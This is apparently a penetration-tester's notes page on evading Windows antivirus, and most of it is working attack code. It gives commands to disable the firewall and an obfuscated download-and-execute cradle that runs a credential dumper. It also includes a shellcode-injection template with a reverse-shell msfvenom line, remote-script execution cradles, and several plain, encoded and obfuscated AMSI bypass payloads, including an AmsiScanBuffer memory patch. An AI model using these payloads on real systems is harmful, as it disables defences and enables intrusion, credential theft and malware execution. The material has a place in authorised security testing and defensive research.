AV Evasion
Antivirus or AV is a kind of software used to prevent, scan, detect and delete malware from a computer. During our assessments there are a lot of tools such as meterpreter, mimikatz, etc that are flagged as a malware.
So in order to perform our work properly we need to bypass the AV.
Some interesting websites or programs that will help us to determine if our binary/script is flagged as a malware:
Deactivate Antivirus and Firewall¶
Antivirus¶
Check status:
Need NT AUTHORITY/SYSTEM rights if the UAC is enabled.
Stop Real-time procetions and AMSI:
If it is not possible login via RDP with an Administrator user and disable it manually.
Firewall¶
Disable firewall by executing:
netsh advfirewall set allprofiles state off
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
String Replacement¶
String Replacement is one of the oldest techniques. Antivirus makes use of signatures, if we replace the name of:
- variables
- functions
- more over
We can modify the signatures in order to bypass the AV. Read more:
- https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/
- https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks/
Obfuscation¶
Obfuscate is the action of amking something obscure, unclear or unintelligible.
Invoke-Obfuscation¶
Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator.

Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
set SCRIPTBLOCK "iex (New-Object System.Net.Webclient).DownloadString('http://localhost/script.ps1);Invoke-Kapokatz.ps1 -DumpCreds"
ENCODING
5
Result:
inVoKe-EXPRESSiOn ( ([rUNTiME.iNteRopsERViCEs.marshAl]::ptRTosTriNGaUto( [RuNtIMe.InteRopSErviCEs.marshaL]::seCuREsTrinGtobsTr($('76492d1116743f0423413b16050a5345MgB8AC8AagB1AEwAbQBnAGEAcgBSAE0AUQBSADYAWQA1AHIAeQBPAHEATwBQAEEAPQA9AHwAOABlAGUAYQBmAGUAZQBjAGYAOAA5AGEAMAAxADMAYQA1ADcAMQA3AGYAZgA0ADQAMQA3AGIAMAA1ADAANwBjAGUAMwBiAGQANAAwAGYAMQAyADQANQBkAGEAZABmADcANAAwADgAYgBjAGMANAA3AGYAMQA1ADAANgBjADAANgBmADEAYwA4ADEANABlAGEANQA4ADAANABkADgAYwA4ADIAOAA3AGMAMABkAGMAYwBlAGEAYwA3AGQAMwA4ADcAMAAzADQAYgA2AGQAOAA0ADYAYQAwADIAZABiADQAYQA1ADEAZgBlAGMANgBmAGYAOAA4ADMAMABlAGQAMwA1AGIAZAA1AGEAMwA4ADkAYgAyADAANgAyAGEAYQAzADcAMQBhADUAYQBmAGQAOAAwADcAOQA0AGUAZgA1ADYANQA3AGQAZgAzADIAMgBhAGUAMAA2ADAAYgAxADgAYwBhAGUAYwBjAGUAMABlADMAZABkADYAMAAxADYAZQA0ADcANABiADAAZgA4ADEAYQA0AGEAZgA5ADQANAAwADcAOQBlADkAMgAyADcAZgBiAGEAZQBkADkAMAA0AGUAOQA3ADEAMwAwAGIANgAzADgANwBmADgANQAzAGQANQBiAGEANwBmAGMANQAzAGIAYwBlADYAOABlADgANwA2ADcAZQA0AGYANQBiADMAMwBkAGIAOQA1ADQAMgA5ADYAOAA5ADgANgBmADEANgAxADIAMwBjAGMAOABhADAAZQAwADEAOABlAGUAMAA5ADEAMgBjAG')))))
Invoke-CradleCrafter¶
Invoke-CradleCrafter is very useful for implementing obfuscation.
More info in :
In-Memory Injection¶
Template¶
A basic template script that performs in-memory injection:
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
# msfvenom -p windows/shell_reverse_tcp LHOST=<ip_addr> LPORT=<port> -f powershell
[Byte[]]$sc = <place your shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
Powershell Scripts¶
We can download and execute a script without saving it on disk. This is a powerful tool because we prevent the antivirus from scanning our file.
iex (New-Object System.Net.Webclient).DownloadString('http://ip-addr:port/file.ps1')
iex (iwr 'http://ip-addr:port/file.ps1')
Since this technique was appear, windows implemented the AMSI (Antimalware Scan Interface) as a method to defend from malware during execution. So we need to bypass it.
Invoke-ReflectivePEInjection.ps1¶
With Invoke-ReflectivePEInjection.ps1 from PowerSploit we can convert a dll or exe binary to a PowerShell script.
We just need to convert our exe to base64 in order to hardcode it in a PowerShell script.
$PEBytes = [IO.File]::ReadAllBytes('C:\Windows\Temp\binary.exe')
$b64 = [System.Convert]::ToBase64String($PEBytes)
Finally we just need to append the following code in the Invoke-ReflectivePEInjection.ps1.
$b64 = "BASE64-BINARY-CHANGEME"
$PEBytes = [System.Convert]::FromBase64String($b64)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3"
Note: Sometimes arguments doesn't work so maybe you need to harcode the arguments on the binary and recompile it.
Example of hardcoding arguments on PrintSpoofer (c++):
BOOL g_bInteractWithConsole FALSE;wchar_t commad[] = L"cmd.exe";LPWSTR g_pwszCommandLine = command;
If and error like that occurs Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
Try to replace the following line:
To:$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
AMSI bypass¶
Microsoft has developed AMSI (Antimalware Scan Interface) as a method to defend against common malware execution and protect the end user. By default windows defender interacts with the AMSI API to scan PowerShell scripts, VBA macros, JavaScript and scripts using the Windows Script Host technology during execution to prevent arbitrary execution of code.
When a user executes a script or initiates PowerShell, the AMSI.dll is injected into the process memory space. These two API's are used by the AV to scan the buffer and strings searching signatures from malware.
If a known signature is identified during execution does not initate and a message appears that the script has been blocked during execution by the antivirus.

Even though some of the techniques in their original state are blocked, modification of strings, variables and functions, encoding and obfuscation could revive even the oldest tactics.
PowerShell Downgrade¶
Even though that Windows PowerShell 2.0 is deprecated, in some devices it hasn't been removed. Older versions of PowerShell does not contain security controls such as AMSI.
Set "amsiInitFailed" flag¶
Setting the amsiInitFailed flag prevents the AMSI scanning capability for the current process:
-
Original Payload:
-
Base64 Encoded Payload:
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) -
Obfuscated Payload:
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) -
Alternative Payload with the usage of variables:
-
Not detected by auto logging
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]"-as[String].Assembly.GetType('System.T'+'ype')),[Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as[String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)
We can find more payloads on the following webpage:
Hooking¶
Exists a proof of concept of hokking into the AmsiScanBuffer function with a DLL. The AmsiScanBuffer function will be executed with dummy parameters.
Note: Not working because
AmsiHook.dllis flagged by the AV.
Memory Patching¶
Rasta-mouse released an AMSI bypass which patches the AmsiScanBuffer() function in order to return always AMSI_RESULT_CLEAN.
Obfuscating the powershell version of ASBBypass we can succesfully bypass the AMSI.
${_/==\_/\__/===\_/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgAzADIAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQA=')))
Add-Type ${_/==\_/\__/===\_/}
${__/=\/==\/\_/=\_/} = [Win32]::LoadLibrary("am" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBpAC4AZABsAGwA'))))
${___/====\__/=====} = [Win32]::GetProcAddress(${__/=\/==\/\_/=\_/}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBjAGEAbgA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgB1AGYAZgBlAHIA'))))
${/==\_/=\/\__/\/\/} = 0
[Win32]::VirtualProtect(${___/====\__/=====}, [uint32]5, 0x40, [ref]${/==\_/=\/\__/\/\/})
${_/\__/=\/\___/==\} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${_/\__/=\/\___/==\}, 0, ${___/====\__/=====}, 6)
Force an Error¶
Since there is a signature for the amsiInitFailed flag, an alterantive was discovered which attempt to force an error in order to set in a legitimate way the flag on true.
- Original Payload:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null); - Obfuscated Payload:
$fwi=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((9076+8092-8092));[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$('àmsìSessîõn'.NoRMALiZe([char](70+54-54)+[cHaR](111)+[cHar](114+24-24)+[chaR](106+3)+[chAR](68+26-26)) -replace [CHAR](24+68)+[chaR]([BytE]0x70)+[CHar]([bYtE]0x7b)+[cHAr](77+45-45)+[chaR](62+48)+[CHAR](125*118/118))", "NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$([char]([bYtE]0x61)+[ChaR]([BYte]0x6d)+[Char](55+60)+[chAr](105+97-97)+[CHAr]([byTe]0x43)+[ChaR](111+67-67)+[char]([BytE]0x6e)+[cHaR]([bYtE]0x74)+[cHAr](101)+[CHar](120)+[cHAR](116))", "NonPublic,Static").SetValue($null, [IntPtr]$fwi);
Usage of syscalls/opcodes with an stager¶
donut etc... future content
Other Tools¶
Shellter¶
Another way to bypass AV is using Shellter
